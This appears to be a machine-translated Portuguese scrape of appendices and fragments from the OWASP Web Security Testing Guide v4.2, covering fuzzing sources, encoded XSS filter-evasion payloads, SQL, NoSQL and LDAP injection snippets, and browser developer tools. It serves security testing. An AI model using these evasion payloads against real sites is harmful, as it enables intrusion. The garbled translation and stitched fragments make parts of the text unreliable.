The Unified Modeling Language User Guide, por Grady Booch, James Rumbaugh, Ivar Jacobson, Ivar publicado por Addison-Wesley Professional,
ISBN 0-201-57168-4 (1998)
Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, de Paco Hope, Ben Walther, publicado por O'Reilly, ISBN
0596514832 (2008)
Writing Secure Code, por Mike Howard e David LeBlanc, publicado pela Microsoft Press, ISBN 0735617228 (2004)
Sites Úteis
Construir segurança em
Padrões de Codificação Segura CERT
Publicações McAfee Foundstone
Ferramentas gratuitas da McAfee
OASIS Web Application Security (WAS) TC
Ferramentas de teste de software de código aberto
SANS Internet Storm Center (ISC)
O Open Web Application Application Security Project (OWASP)
Pentestmonkey - Pen Test Cheat Sheets Diretrizes de
Codificação Segura para o .NET Framework 4.5
Segurança na plataforma Java
Instituto de Administração de Sistemas, Redes e Segurança (SANS)
Consórcio de segurança de aplicativos da Web
Lista de scanners de segurança de aplicativos da Web
Segurança na Web – Artigos
Testando problemas de segurança do lado do cliente
Vídeos
PentesterAcademy
Aplicativos da Web deliberadamente inseguros

Projeto de diretório de aplicativos da Web vulneráveis OWASP
Bad Store
Maldito aplicativo da Web vulnerável
Mutillidae
Stanford SecuriBench
Vicnum
WebGoatName
WebMaven (mais conhecido como Buggy Bank)

448
Vetores Fuzz
Os seguintes são vetores fuzzing que podem ser usados com ZAP, Suíte Arroto, ou outra ferramenta de teste. Fuzzing é a abordagem de “pia da cozinha” para testar
as respostas de um aplicativo à manipulação de parâmetros. Geralmente, um analista procura condições de erro ou comportamentos anormais que ocorrem em um
aplicativo como resultado de fuzzing.
As referências a seguir são fornecidas como fontes de entrada para fuzzing e atividades de teste relacionadas.
Folha de dicas de script entre sites (XSS)
AwesomeXSS
Cargas úteis todas as coisas
Grande lista de cordas impertinentes
Lista Bo0oM Fuzz
FuzzDBGenericName
Dicionários bl4de
Cargas úteis de redirecionamento aberto
Folha de dicas de recompensas de bugs EdOverflow
Daniel Miessler - SecLists
Feed do Twitter do XssPayloads

449
Injeção Codificada
Fundo
A codificação de caracteres é o processo de mapear caracteres, números e outros símbolos para um formato padrão. Normalmente, isso é feito para
criar uma mensagem pronta para transmissão entre o remetente e o destinatário. É, em termos simples, a conversão de caracteres (pertencentes a
diferentes idiomas como inglês, chinês, grego ou qualquer outro idioma conhecido) em bytes. Um exemplo de um esquema de codificação de caracteres
amplamente utilizado é o American Standard Code for Information Interchange (ASCII), que inicialmente usava códigos de 7 bits. Exemplos mais recentes
de esquemas de codificação seriam os padrões da indústria de computação Unicode UTF-8 e UTF-16 .
No espaço da segurança do aplicativo e devido à abundância de esquemas de codificação disponíveis, a codificação de caracteres tem um uso indevido
popular. Ele está sendo usado para codificar strings de injeção maliciosa de uma forma que as ofusca. Isso pode levar ao desvio de filtros de validação
de entrada ou tirar proveito de maneiras específicas nas quais os navegadores processam o texto codificado.
Codificação de Entrada - Evasão de Filtro

Os aplicativos da Web geralmente empregam diferentes tipos de mecanismos de filtragem de entrada para limitar a entrada que pode ser enviada pelo
usuário. Se esses filtros de entrada não forem implementados suficientemente bem, é possível passar um ou dois caracteres por esses filtros. Por
exemplo, um / pode ser representado como 2F (hex) em ASCII, enquanto o mesmo caractere ( / ) é codificado como C0 AF em Unicode (sequência de 2
bytes). Portanto, é importante que o controle de filtragem de entrada esteja ciente do esquema de codificação usado. Se for descoberto que o filtro está
detectando apenas injeções codificadas em UTF-8 , um esquema de codificação diferente pode ser empregado para ignorar esse filtro.
Codificação de saída – Consenso de servidor e navegador

Os navegadores da Web precisam estar cientes do esquema de codificação usado para exibir de forma coerente uma página da Web. O ideal é que
essas informações sejam fornecidas ao navegador no campo do cabeçalho HTTP ( Content-Type ), conforme imagem abaixo:
Tipo de conteúdo: texto/html; conjunto de caracteres = UTF-8
ou através da tag HTML META ( META HTTP-EQUIV ), conforme imagem abaixo:
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
É por meio dessas declarações de codificação de caracteres que o navegador entende qual conjunto de caracteres usar ao converter bytes em
caracteres. Observe que o tipo de conteúdo mencionado no cabeçalho HTTP tem precedência sobre a declaração da tag META.
O CERT o descreve aqui da seguinte forma:
Muitas páginas da Web deixam a codificação de caracteres ( parâmetro charset em HTTP) indefinida. Em versões anteriores de HTML e HTTP, a
codificação de caracteres deveria ser padronizada como ISO-8859-1 se não fosse definida. Na verdade, muitos navegadores tinham um padrão diferente,
então não era possível confiar no padrão ISO-8859-1 . A versão 4 do HTML legitima isso - se a codificação de caracteres não for especificada, qualquer
codificação de caracteres pode ser usada.
Se o servidor da Web não especificar qual codificação de caractere está em uso, ele não saberá quais caracteres são especiais. As páginas da Web
com codificação de caracteres não especificada funcionam na maioria das vezes porque a maioria dos conjuntos de caracteres atribui os mesmos
caracteres a valores de bytes abaixo de 128. Mas quais dos valores acima de 128 são especiais? Alguns esquemas de codificação de caracteres de 16
bits têm representações adicionais de vários bytes para caracteres especiais, como < . Alguns navegadores
450
reconhecer esta codificação alternativa e agir sobre ela. Esse é o comportamento “correto”, mas dificulta muito a prevenção de ataques
usando scripts maliciosos. O servidor simplesmente não sabe quais sequências de bytes representam os caracteres especiais.
Portanto, no caso de não receber as informações de codificação de caracteres do servidor, o navegador tenta adivinhar o esquema de
codificação ou reverte para um esquema padrão. Em alguns casos, o usuário define explicitamente a codificação padrão no navegador
para um esquema diferente. Qualquer incompatibilidade no esquema de codificação usado pela página da Web (servidor) e o navegador
pode fazer com que o navegador interprete a página de maneira não intencional ou inesperada.
Injeções codificadas
Todos os cenários fornecidos abaixo formam apenas um subconjunto das várias maneiras pelas quais a ofuscação pode ser alcançada
para contornar os filtros de entrada. Além disso, o sucesso das injeções codificadas depende do navegador em uso. Por exemplo, as
injeções codificadas em US-ASCII eram bem-sucedidas anteriormente apenas no navegador IE, mas não no Firefox. Portanto, pode-se
notar que as injeções codificadas, em grande parte, dependem do navegador.
Codificação básica
Considere um filtro básico de validação de entrada que protege contra a injeção de aspas simples. Neste caso, a seguinte injeção
contornaria facilmente este filtro:
<script>alert(String.fromCharCode(88,83,83))</script>
A função JavaScript String.fromCharCode pega os valores Unicode fornecidos e retorna a string correspondente. Esta é uma das formas
mais básicas de injeções codificadas. Outro vetor que pode ser usado para contornar esse filtro é:
<IMG src="" onerror=javascript:alert("XSS")>
Ou usando os respectivos códigos de caracteres HTML:
<IMG src="" onerror="javascript:alert("XSS")">
O acima usa Entidades HTML para construir a string de injeção. A codificação de Entidades HTML é usada para exibir caracteres que
possuem um significado especial em HTML. Por exemplo, > funciona como um colchete de fechamento para uma tag HTML. Para
realmente exibir esse caractere na página da Web, as entidades de caracteres HTML devem ser inseridas na origem da página. As injeções
mencionadas acima são uma forma de codificação. Existem inúmeras outras maneiras pelas quais uma string pode ser codificada
(ofuscada) para ignorar o filtro acima.
Codificação Hex
Hex, abreviação de Hexadecimal, é um sistema de numeração de base 16, ou seja, tem 16 valores diferentes de 0 a 9 e A a F para
representar vários caracteres. A codificação hexadecimal é outra forma de ofuscação que às vezes é usada para ignorar os filtros de
validação de entrada. Por exemplo, a versão hexadecimal da string <IMG SRC=javascript:alert('XSS')> é
<IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%58%53%53%27%29 >
Uma variação da string acima é fornecida abaixo. Pode ser usado caso '%' esteja sendo filtrado:
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&
#x53&#x53&#x27&#x29>
451
Existem outros esquemas de codificação, como Base64 e Octal, que podem ser usados para ofuscação. Embora nem todos os esquemas de codificação
funcionem todas as vezes, um pouco de tentativa e erro, juntamente com manipulações inteligentes, definitivamente revelaria a brecha em um filtro de
validação de entrada mal construído.
Codificação UTF-7
Codificação UTF-7 de
<SCRIPT>
alert('XSS');
</SCRIPT>
é como abaixo
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Para que o script acima funcione, o navegador deve interpretar a página da Web como codificada em UTF-7 .
Codificação de vários bytes A
codificação de largura variável é outro tipo de esquema de codificação de caracteres que usa códigos de comprimentos variados para codificar caracteres.
A Codificação Multi-Byte é um tipo de codificação de largura variável que usa um número variável de bytes para representar um caractere. A codificação
multibyte é usada principalmente para codificar caracteres que pertencem a um grande conjunto de caracteres, por exemplo, chinês, japonês e coreano.
A codificação multibyte foi usada no passado para ignorar as funções de validação de entrada padrão e executar scripts entre sites e ataques de injeção de
SQL.
Referências
Codificação (Semiótica)
Entidades HTML
Como evitar ataques de validação de entrada
Unicode e conjuntos de caracteres

452
História
O Guia de Testes v4 foi lançado em 2014. O Guia de Testes foi criado em 2003 com Dan Cuthbert como um dos editores originais. Foi entregue a Eoin
Keary em 2005 e transformado em um wiki. A partir de 2013, Andrew Muller coliderou o projeto com Matteo Meucci em 2018/2019. Os lançamentos
pontuais após a v4 e a rampa em direção à v5 estão sendo liderados por Rick Mitchell e Elie Saad.
Abril de 2020: Guia de teste OWASP, versão 4.1
Setembro de 2014: Guia de teste OWASP, versão 4.0 Setembro de
2008: Guia de teste OWASP, versão 3.0 Dezembro de 2006: Guia
de teste OWASP, versão 2.0
Julho de 2004: Lista de Verificação de Penetração de Aplicações Web OWASP, Versão 1.1
Dezembro de 2004: O Guia de Teste OWASP, Versão 1.0
líderes
Matteo Meucci: Líder do Guia de Testes OWASP 2007-2020.
Andrew Muller: Líder do guia de testes OWASP 2013-2019.
Eoin Keary: Líder do Guia de Testes OWASP 2005-2007.
Daniel Cuthbert: Líder do Guia de Testes OWASP 2003-2005.
Autores v4
- Matteo Meucci See More -Thomas Ryan - Mike Hryekewicz - Eduardo Castellano - Babu See More
Arokiadas
- Pavol Luptak - Tim Bertels See More - Simon Bennetts - Simone Onofri -Rob Barnes
- Marco Morana See More - Cecil Su See More -Ray Schippers -Harword Sheen -Ben Walther
- Giorgio Fedon See More - Aung KhAnt - Raul Siles See More - Amro Al Olaqi - Uma formiga
Shrivastava
-Stefano Di Paola See More -Norbert Szetei See More - Jayanta Karmakar - Suhas Desai -Colin Watson
-Gianrico Ingrosso See More -Michael Boman -Brad Causey -Ryan Dewhurst - Luca See More
Carettoni
- Giuseppe Bonfa - Wagner Elias See More - Vicente Aguilera - Zaki Akhmad -Eoin Keary
- André Muller See More -Kevin Horvat - Ismael Gonçalves - Davide Danelon See More -Jeff Williams
-Robert Winkel -Tom Brennan -David Fern See More - Alexandre Antukh - Juan Manuel
Bahamonde
- Roberto Suggi Liverani - Tomas Zatko -Tom Eston - Thomas Kalamaris - Thomas Skora
- Tripurari Rai See More - Juan Galiana Lara - Kevin Horvath - Alexander Vavousis - Irene See More
Abezgauz
-Robert Smith - Sumit Siddharth - Rick Mitchell - Christian Heinrich - Hugo Costa See More
Revisores v4
- Davide Danelon See More -Andrea Rosignoli See More -Irene Abezgauz See More
- Lode Vanstechelman - Sébastien Gioria - Yiannis Pavlosoglou
- Aditya Balapure
Autores v3
- Anurag Agarwal - Giorgio Fedon See More -Gianrico Ingrosso See More -Mark Roxberry
- Ferruh Mavituna See More - Antonio Parata See More - Andrew Van der Stock - Marco Mella See More
- Daniele Belucci See More -Adam Goodman - Roberto Suggi Liverani - Cecil Su See More
-Kevin Horvath - Marco Morana See More - Harish Skanda Sureddy - Pavol Luptak
- Matteo Meucci See More -Stefano Di Paola See More - Cristiano Henrique - Marco Morana See More
453
Revisores v3
- Marco Cova See More - Matteo Meucci See More - Rick Mitchel
-Kevin Fuller -Nam Nguyen
v2 Autores
-Vicente Aguilera See More -David Endler - Matteo Meucci See More -Anush Shetty
-Mauro Bregolin See More - Giorgio Fedon See More - Marco Morana See More -Larry Shields
-Tom Brennan - Javier Fernández-Sanguino - Laura Nunez -Dafydd Studdard
-Gary Burns - Andrew van der Stock -Glyn Geoghegan - Günter Ollmann
-Luca Carettoni See More - Sébastien Deleersnyder - Antonio Parata See More -Ariel Waissbein
-Dan Cornell - Madhura Halasgikar - Yiannis Pavlosoglou - Jeff Williams
-Mark Curphey -Eoin Keary -Carlo Pelliccioni See More - Tushar Vartak
- Daniel Cuthbert See More -David Litchfield - Harinath Pudipeddi - Tom Ryan
-Stan Guzik -Andrea Lombardini See More -Alberto Revelli See More - Cláudio Merloni See More
-Stephen DeVries -Ralph M. Los -Stefano Di Paola See More -Mark Roxberry
v2 revisores
-Vicente Aguilera See More - Mauro Bregolin - Eoin - Daniel Cuthbert See More -Stefano Di Paola See More
- Simona Forti See More Keary - Mark Roxberry - Katie McDowell - Matteo Meucci See More
- Antonio Parata See More - Matteo GP Flora - Marco Belotti See More - Marco Cova See More
- Paul Davies See More -Darrel Groundy -James Kist See More
- Marco Mella See More -Syed Mohamed A. -Alberto Revelli See More -Dave Wichers
454
Aproveitando as ferramentas de desenvolvimento
Este apêndice descreve vários detalhes para uso da funcionalidade da ferramenta do desenvolvedor no navegador para auxiliar nas atividades de teste de segurança.
Obviamente, a funcionalidade do navegador não substitui: ferramentas DAST (Dynamic Application Security Testing), ferramentas SAST (Static Application Security Testing)
ou a experiência de um testador, no entanto, pode ser aproveitada para algumas atividades de teste e tarefas relacionadas à produção de relatórios.
Acessando as Ferramentas de
Desenvolvimento A abertura das Ferramentas de Desenvolvimento pode ser realizada de várias maneiras.
1. Através do atalho de teclado F12 .
2. Através do atalho de teclado ctrl + shift + i no Windows.
3. Através do atalho de teclado cmd + opção + i no Mac.
4. Na página da Web, clique com o botão direito do mouse no menu de contexto e selecione Inspecionar no Google Chrome.
5. Na página da Web, clique com o botão direito do mouse no menu de contexto e selecione Inspecionar elemento no Mozilla Firefox.
6. Através do menu de ponto triplo 'kabob' no Google Chrome, selecionando More Tools e, em seguida, Developer Tools .
7. Através do menu 'hambúrguer' (ou 'panqueca') de linha tripla no Mozilla Firefox, selecionando Web Developer e, em seguida,
Alternar ferramentas .
8. Através do menu de configurações do ícone de roda dentada no Edge/IE e selecionando Ferramentas do Desenvolvedor .
NOTA: A maioria das instruções abaixo pressupõe que o Dev Tools já esteja aberto ou ativo.
Capacidades
Funcionalidade Cromada* Raposa de fogo Borda/IE Safári
Troca de agente de usuário Y Y Y Y
Editar/Reenviar Pedidos N Y N N
Edição de cookies Y Y Y N
Edição de armazenamento local Y Y Y N
Desativar CSS Y Y Y Y
Desativar JavaScript Y Y N Y
Exibir cabeçalhos HTTP Y Y Y Y
Capturas de tela Y Y Y N
Modo offline Y Y N N
Codificação e Decodificação Y Y Y Y
Modo de design responsivo Y Y Y Y
* Tudo o que se aplica ao Google Chrome deve ser aplicável a todos os aplicativos baseados no Chromium. (O que inclui o rebadging da Microsoft para o Edge por volta de
2019/2020.)
Troca de agente de usuário

Testes Relacionados
455
Testando as Fraquezas do Cache do Navegador
Google Chrome
1. Clique no menu de ponto triplo 'kabob' no lado direito do painel Ferramentas do desenvolvedor, selecione Mais ferramentas e selecione
Condições de rede .
2. Desmarque a caixa de seleção “Selecionar automaticamente”.
3. Selecione o agente do usuário no menu suspenso ou insira um agente do usuário personalizado
Figura 6.F-1: Funcionalidade de troca de usuário-agente das ferramentas de desenvolvimento do Google Chrome
456
Mozilla Firefox
1. Navegue até a página about:config do Firefox e clique em Aceito o risco! .
2. Insira general.useragent.override no campo de pesquisa.
3. Procure general.useragent.override , se você não conseguir ver essa preferência, procure por um que mostre um conjunto de botões de opção Boolean,
Number, String selecione String e clique no botão Adicionar sinal de mais em about:config
página.
4. Defina o valor de general.useragent.override para qualquer User-Agent você pode precisar.
Figura 6.F-2: Funcionalidade de alternância de usuário-agente do Mozilla Firefox
Posteriormente, clique no botão Excluir da lata de lixo à direita da preferência general.useragent.override para remover a substituição e retornar ao agente
do usuário padrão.
Editar/Reenviar Pedidos
Testes Relacionados
Teste de Autenticação
Teste de autorização
Teste de Gerenciamento de Sessão
Teste de validação de entrada
Teste de lógica de negócios
Mozilla Firefox
1. Selecione a guia Rede .
2. Execute qualquer ação no aplicativo da web.
3. Clique com o botão direito do mouse na solicitação HTTP da lista e selecione Editar e reenviar .
4. Faça as modificações desejadas e clique no botão Enviar .
5. Clique com o botão direito do mouse na solicitação modificada e selecione Abrir em nova guia .
Edição de cookies
Testes Relacionados
Teste de Autenticação
Teste de autorização
Teste de Gerenciamento de Sessão
Testando atributos de cookies
Google Chrome
1. Clique na guia Aplicativo .
2. Expanda Cookies sob o título Armazenamento .

457
3. Selecione o nome de domínio relevante.
4. Clique duas vezes na coluna Valor para editar qualquer valor de cookie.
Observação: os cookies podem ser excluídos depois de selecionados pressionando a tecla delete ou clicando com o botão direito do mouse no menu de contexto.
Mozilla Firefox
1. Clique na guia Armazenamento .
2. Expanda a seção Cookies .
Nota: Os cookies podem ser excluídos uma vez selecionados pressionando a tecla delete ou com várias opções no menu de contexto do botão direito.
Figura 6.F-3: Funcionalidade de edição de cookies do Mozilla Firefox
Edição de armazenamento local
Testes Relacionados
Testando o armazenamento do navegador
Google Chrome
1. Clique na guia Aplicativo .
2. Expanda Armazenamento local sob o cabeçalho Armazenamento .
5. Clique duas vezes na célula aplicável para editar a chave ou o valor .
Observação: a edição do Session Storage ou Index DB segue essencialmente as mesmas etapas.
Observação: os itens podem ser adicionados ou excluídos por meio do menu de contexto do botão direito.
Mozilla Firefox
1. Clique na guia Armazenamento .
2. Expanda a seção Armazenamento local .
4. Clique duas vezes na célula aplicável para editar a chave ou o valor .
Observação: a edição do Session Storage ou Index DB segue essencialmente as mesmas etapas.
Observação: os itens podem ser adicionados ou excluídos por meio do menu de contexto do botão direito.
Desativar CSS
Testes Relacionados
Teste para manipulação de recursos do lado do cliente
458
Em geral
Todos os principais navegadores oferecem suporte à manipulação de CSS, aproveitando o console de ferramentas do desenvolvedor e a funcionalidade JavaScript:
Para remover todas as folhas de estilo externas: $('style,link[rel="stylesheet"]').remove();
Para remover todas as folhas de estilo internas: $('style').remove();
Para remover todos os estilos in-line: Array.prototype.forEach.call(document.querySelectorAll('*'),function(el)

{el.removeAttribute('estilo');});
Para remover tudo da tag head: $('head').remove();
Desativar JavaScript
Google Chrome
1. Clique no menu de ponto triplo 'kabob' no lado direito da barra de ferramentas do desenvolvedor da Web e clique em Configurações .
2. Na guia Preferências , na seção Depurador , marque a caixa de seleção Desativar JavaScript .
Mozilla Firefox
1. Na guia Depurador das ferramentas de desenvolvimento, clique no botão de engrenagem de configurações no canto superior direito da barra de ferramentas do desenvolvedor.
2. Selecione Desativar JavaScript no menu suspenso (este é um item de menu ativar/desativar, quando o JavaScript está desativado
o item meny tem uma marca de seleção).
Exibir cabeçalhos HTTP

Testes Relacionados
Obtendo informações
Google Chrome
1. Na guia Networking em Dev Tools, selecione qualquer URL ou solicitação.
2. No painel inferior direito, selecione a guia Cabeçalhos .

459
Figura 6.F-4: visualização dos cabeçalhos do Google Chrome

460
Mozilla Firefox
1. Na guia Networking em Dev Tools, selecione qualquer URL ou solicitação.
2. No painel inferior direito, selecione a guia Cabeçalhos .
Figura 6.F-5: Visualização dos cabeçalhos do Mozilla Firefox
Capturas de tela
Testes Relacionados
Comunicando
Google Chrome
1. Pressione o botão Alternar barra de ferramentas do dispositivo ou pressione ctrl + shift + m .
2. Clique no menu de ponto triplo 'kabob' na barra de ferramentas do dispositivo.
3. Selecione Capturar captura de tela ou Capturar captura de tela em tamanho real .
Mozilla Firefox
1. Pressione o botão de reticências de ponto triplo na barra de endereço.
2. Selecione Tirar uma captura de tela .
3. Selecione a opção Salvar página inteira ou Salvar visível .
Modo offline
Google Chrome 1. Navegue
até a guia Rede .
2. No menu suspenso Acelerador , selecione Offline .
Figura 6.F-6: Opção off-line do Google Chrome
Mozilla Firefox
1. No menu 'hambúrguer' (ou 'panqueca') da linha tripla, selecione Desenvolvedor da Web e, em seguida, Trabalhe Offline .
461
Figura 6.F-7: Opção off-line do Mozilla Firefox
Codificação e Decodificação
Testes Relacionados
Muitos (talvez até a maioria) tipos de teste de segurança de aplicativos da Web podem se beneficiar de vários tipos de codificação.
Em geral
Todos os principais navegadores suportam strings de codificação e decodificação de várias maneiras, aproveitando o Dev Tools Console e
Funcionalidade JavaScript:
Codificação Base64: btoa("string-to-encode")
Decodificação Base64: atob("string-to-decode")
Codificação de URL: encodeURIComponent("string-to-encode")
Decodificação de URL: decodeURIComponent("string-to-decode")
Codificação HTML: escape("string-to-encode")
Decodificação HTML: unescape("string-to-decode")
Modo de design responsivo

Testes Relacionados
Testando as Fraquezas do Cache do Navegador
Teste para autenticação mais fraca em canal alternativo

462
Teste de Clickjacking
Google Chrome
1. Clique no botão Alternar dispositivo da barra de ferramentas ou pressione ctrl + shift + m .
Figura 6.F-8: Modo de design responsivo do Google Chrome
Mozilla Firefox
1. Clique no botão Modo de design responsivo ou pressione ctrl + shift + m .
Figura 6.F-9: Modo de design responsivo do Mozilla Firefox
Referências
Teste de segurança de aplicativos da Web com
navegadores Black Hills Information Security - Webcast: Ferramentas gratuitas! Como usar ferramentas de desenvolvedor e JavaScript em Pentests de Webapp
Greg Malcolm - Ferramentas do desenvolvedor do Google Chrome: Invadindo o arsenal
Lista de Strings do UserAgent

WSTG v4.2 276 465

Enviado por

Dados do documento

Título original

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

WSTG v4.2 276 465

Enviado por

Direitos autorais:

Formatos disponíveis

Machine Translated by Google

Guia de teste de segurança da Web v4.2

Testando para injeção NoSQL

db.myCollection.find( { $where: "this.credits`` ``==`` ``this.debits" } );

Opcionalmente, o JavaScript também é avaliado para permitir condições mais avançadas.

db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );

Guia de teste de segurança da Web v4.2

db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );

$where: function() { //JavaScript arbitrário aqui }

Bryan Sullivan da Adobe: “Injeção de JavaScript no lado do servidor”

Bryan Sullivan da Adobe: “NoSQL, mas ainda menos segurança”

Erlend da Bekk Consulting: “[Segurança] NOSQL-injection”

Documentação do MongoDB: “Como o MongoDB aborda a injeção de SQL ou Query?”

Guia de teste de segurança da Web v4.2

Documentação do PHP: “MongoCollection::find”

Hackeando NodeJS e MongoDB

Atacando NodeJS e MongoDB

Guia de teste de segurança da Web v4.2

Teste para injeção de ORM

Identifique a camada ORM Para

Abusando da Camada ORM

Implementação fraca de ORM

Camada ORM Vulnerável

Guia de teste de segurança da Web v4.2

DBMS Injeção SQL

MySQL abc\' INTO OUTFILE --

Oráculo NVL(TO_CHAR(DBMS_XMLGEN.getxml('selecionar 1 onde 1337>1')),'1')!='1'

Novos métodos para explorar injeções de ORM em aplicativos Java (HITB16)

Slides HITB2016 - Injeções de ORM em aplicativos Java]

Consertando SQL Injection: ORM não é suficiente

PayloadAllTheThings - Injeção HQL

Guia de teste de segurança da Web v4.2

Teste para o lado do cliente

O código abaixo mostra um exemplo de implementação das APIs:

var db = openDatabase(shortName, versão, displayName, maxSize);

Web SQL DB Injection Depois

A implementação do Web SQL DB é baseada na sintaxe do SQLite.

// Exemplo de URL: https://example.com/user#15 var userId =

Guia de teste de segurança da Web v4.2

Siga a mesma correção da seção Testing for SQL Injection's Remediation.

Tutorial de banco de dados JavaScript da Apple

Tutorialspoint HTML5 Web SQL Database

Guia de teste de segurança da Web v4.2

Teste para injeção de LDAP

find("cn=John & userPassword=mypass")

será representado como:

& Booleano AND

>= Maior que

<= Menor que

Acessar conteúdo não autorizado

Guia de teste de segurança da Web v4.2

Fuja das restrições de aplicativos

Adicione ou modifique objetos dentro da estrutura de árvore do LDAP.

Avalie a gravidade da injeção.

que é instanciado por uma solicitação HTTP como esta:

o filtro ficará assim:

Usando os seguintes valores:

o filtro de pesquisa resultará em:

Guia de teste de segurança da Web v4.2

Navegador LDAP Softerra

Folha de dicas de prevenção de injeção de LDAP

RFC 1960: uma representação de string dos filtros de pesquisa LDAP

Guia de teste de segurança da Web v4.2